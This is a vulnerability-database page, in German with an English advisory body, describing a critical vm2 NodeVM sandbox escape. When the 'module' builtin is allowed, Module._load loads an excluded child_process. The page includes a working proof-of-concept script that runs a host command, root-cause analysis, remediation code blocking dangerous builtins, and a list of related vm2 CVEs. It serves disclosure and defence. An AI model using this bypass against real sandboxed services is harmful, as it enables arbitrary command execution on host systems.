Kritisch

vm2 has a NodeVM builtin allowlist bypass via `module` builtin's `Module._load` that allows sandbox escape

  • Veröffentlicht: 07.05.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_process and achieve remote code execution.

Severity

Critical (CVSS 3.1: 9.9)

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

  • Attack Vector: Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)
  • Attack Complexity: Low — no special conditions required; ['*', '-child_process'] is a common, documented pattern
  • Privileges Required: Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case
  • User Interaction: None
  • Scope: Changed — escape from sandbox boundary to host system
  • Confidentiality Impact: High — arbitrary command execution on the host
  • Integrity Impact: High — arbitrary command execution on the host
  • Availability Impact: High — arbitrary command execution on the host

Affected Component

  • lib/builtin.js — makeBuiltinsFromLegacyOptions() (lines 109-117) — includes module in '*' expansion
  • lib/builtin.js — addDefaultBuiltin() (lines 86-90) — loads module with generic readonly wrapper
  • lib/builtin.js — SPECIAL_MODULES (line 61) — does NOT include module

CWE

  • CWE-863: Incorrect Authorization

Description

Root Cause: The module builtin provides unrestricted host module loading

When builtin: ['*', '-child_process'] is configured, makeBuiltinsFromLegacyOptions iterates over BUILTIN_MODULES and adds all modules not explicitly excluded:

js
// lib/builtin.js:40
const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
    .filter(s=>!s.startsWith('internal/'));

// lib/builtin.js:109-117
if (Array.isArray(builtins)) {
    const def = builtins.indexOf('*') >= 0;
    if (def) {
        for (let i = 0; i < BUILTIN_MODULES.length; i++) {
            const name = BUILTIN_MODULES[i];
            if (builtins.indexOf(`-${name}`) === -1) {
                addDefaultBuiltin(res, name, hostRequire);
            }
        }
    }

Node's builtinModules includes 'module' (verified: require('module').builtinModules.includes('module') → true). Since only '-child_process' is excluded, 'module' passes the filter and gets added.

The module builtin is NOT in SPECIAL_MODULES (which only covers events, buffer, util), so it gets the generic loader:

js
// lib/builtin.js:86-90
function addDefaultBuiltin(builtins, key, hostRequire) {
    if (builtins.has(key)) return;
    const special = SPECIAL_MODULES[key];
    builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
}

This wraps Node's Module class in a readonly proxy and hands it to the sandbox.

The readonly proxy does not prevent method calls

ReadOnlyHandler (bridge.js:940-983) only overrides mutation traps: set, setPrototypeOf, defineProperty, deleteProperty, isExtensible, preventExtensions. It does NOT override get or apply, which are inherited from BaseHandler.

BaseHandler.apply() (bridge.js:665-677) forwards function calls directly to the host context:

js
apply(target, context, args) {
    const object = getHandlerObject(this);
    let ret;
    try {
        context = otherFromThis(context);
        args = otherFromThisArguments(args);
        ret = otherReflectApply(object, context, args);
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
    return thisFromOther(ret);
}

So Module._load('child_process') is forwarded to Node's native Module._load in the host context, which loads child_process without any vm2 allowlist check.

Inconsistent defense: some builtins are isolated, module is not

The codebase IS aware that certain builtins need special handling:

  • events: Gets a complete sandbox-native reimplementation via lib/events.js
  • buffer: Custom loader that only exposes the Buffer class
  • util: Custom loader that replaces inherits with a sandbox-safe version

But module — which provides access to the host's entire module loading infrastructure via Module._load, Module._resolveFilename, etc. — gets no special treatment at all.

Full execution chain

  1. Host configures NodeVM with builtin: ['*', '-child_process']
  2. makeBuiltinsFromLegacyOptions adds 'module' to allowed builtins (not excluded)
  3. Sandbox code calls require('module') → resolver finds 'module' in builtins → loadBuiltinModule('module')
  4. Loader calls vm.readonly(hostRequire('module')) → returns readonly proxy of Node's Module class
  5. Sandbox reads Module._load → BaseHandler.get() returns proxied function
  6. Sandbox calls Module._load('child_process') → BaseHandler.apply() forwards to host
  7. Host's Module._load loads child_process natively (no vm2 check involved)
  8. child_process module proxied back to sandbox
  9. Sandbox calls child_process.execSync('id') → executes on host → RCE

Proof of Concept

js
const { NodeVM } = require('vm2');

// Developer thinks child_process is blocked
const vm = new NodeVM({
  require: {
    builtin: ['*', '-child_process'],
    external: false,
  },
});

const out = vm.run(`
  const Module = require('module');
  // Module._load bypasses vm2's builtin allowlist entirely
  const cp = Module._load('child_process');
  module.exports = cp.execSync('id').toString();
`, 'poc.js');

console.log(out.trim()); // prints host uid/gid — RCE achieved

Impact

  • Complete builtin allowlist bypass: Any configuration that allows the module builtin (including ['*', '-X'] patterns) can load ANY builtin, including explicitly excluded ones.
  • Remote code execution: Sandboxed code can execute arbitrary commands on the host via child_process.execSync.
  • Common configuration affected: The ['*', '-child_process', '-fs'] pattern is documented and widely used by developers who want "all builtins except dangerous ones."
  • No special conditions: Unlike environment-dependent attacks, this works on every Node.js version, every OS, and every vm2 deployment that uses the '*' wildcard.
  • Additional attack surfaces via module: Beyond _load, the Module class also exposes _resolveFilename, _cache, _pathCache, and other internals that could be abused.

Recommended Remediation

Option 1: Exclude module from BUILTIN_MODULES entirely (Preferred)

The module builtin provides unrestricted host module loading and should never be exposed to the sandbox:

js
// lib/builtin.js:40
const DANGEROUS_BUILTINS = new Set(['module', 'worker_threads', 'cluster']);

const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
    .filter(s => !s.startsWith('internal/') && !DANGEROUS_BUILTINS.has(s));

This prevents module from being included even with the '*' wildcard. Consider also blocking worker_threads and cluster which can spawn processes.

Option 2: Add module to SPECIAL_MODULES with a safe wrapper

If module must be accessible, provide a sandbox-safe version that only exposes safe APIs:

js
// lib/builtin.js
const SPECIAL_MODULES = {
    events: { /* ... existing ... */ },
    buffer: defaultBuiltinLoaderBuffer,
    util: defaultBuiltinLoaderUtil,
    module: function defaultBuiltinLoaderModule(vm) {
        // Only expose safe, read-only metadata — no _load, no _resolveFilename
        return vm.readonly({
            builtinModules: [...nmod.builtinModules],
            // Omit _load, _resolveFilename, _cache, createRequire, etc.
        });
    }
};

Tradeoff: Breaks sandbox code that legitimately uses Module APIs, but those APIs are inherently unsafe in a sandbox context.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket vm2 >= 3.10.5, < 3.11.0 3.11.0

Verweise

CVSS-Wert 9.9/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Schwäche (CWE)
CWE-863
Plattform
npm
Paket
vm2
Veröffentlicht
07.05.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-947f-4v7f-x2v8 - CC BY 4.0

Schwachstellenhistorie: vm2

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (78) im Archiv
Einträge insgesamt
78
Erste → letzte
10.2021 10.2026
Ohne Fix
1
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 51
  • Hoch 14
  • Mittel 12
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Schweregrad:
  1. Kritisch · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Kritisch · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Kritisch · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Kritisch · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Kritisch · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Kritisch · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. Kritisch · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  8. Kritisch · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  9. Kritisch · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  10. Kritisch · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  11. Kritisch · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  12. Kritisch · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  13. Hoch · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  14. Kritisch · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  15. Kritisch · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  16. Kritisch · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  17. Kritisch · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  18. Kritisch · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  19. Kritisch · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  20. Kritisch · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  21. vm2 has a NodeVM builtin allowlist bypass via `module` builtin's `Module._load` that allows sandbox escape dieser Eintrag
    Kritisch · 9.9 CVE-2026-43999 >= 3.10.5, < 3.11.0 3.11.0
  22. Kritisch · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  23. Kritisch · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  24. Kritisch · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  25. Kritisch · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  26. Kritisch · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  27. Kritisch · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  28. Kritisch · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  29. Kritisch · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  30. Kritisch · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  31. Kritisch · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  32. Kritisch · 9.8 CVE-2023-37903 <= 3.9.19 keine Korrektur
  33. Kritisch · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  34. Kritisch · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  35. Kritisch · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
  36. Kritisch · 9.8 CVE-2023-29017 < 3.9.15 3.9.15
Mehr anzeigen (5) 60 von 65 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.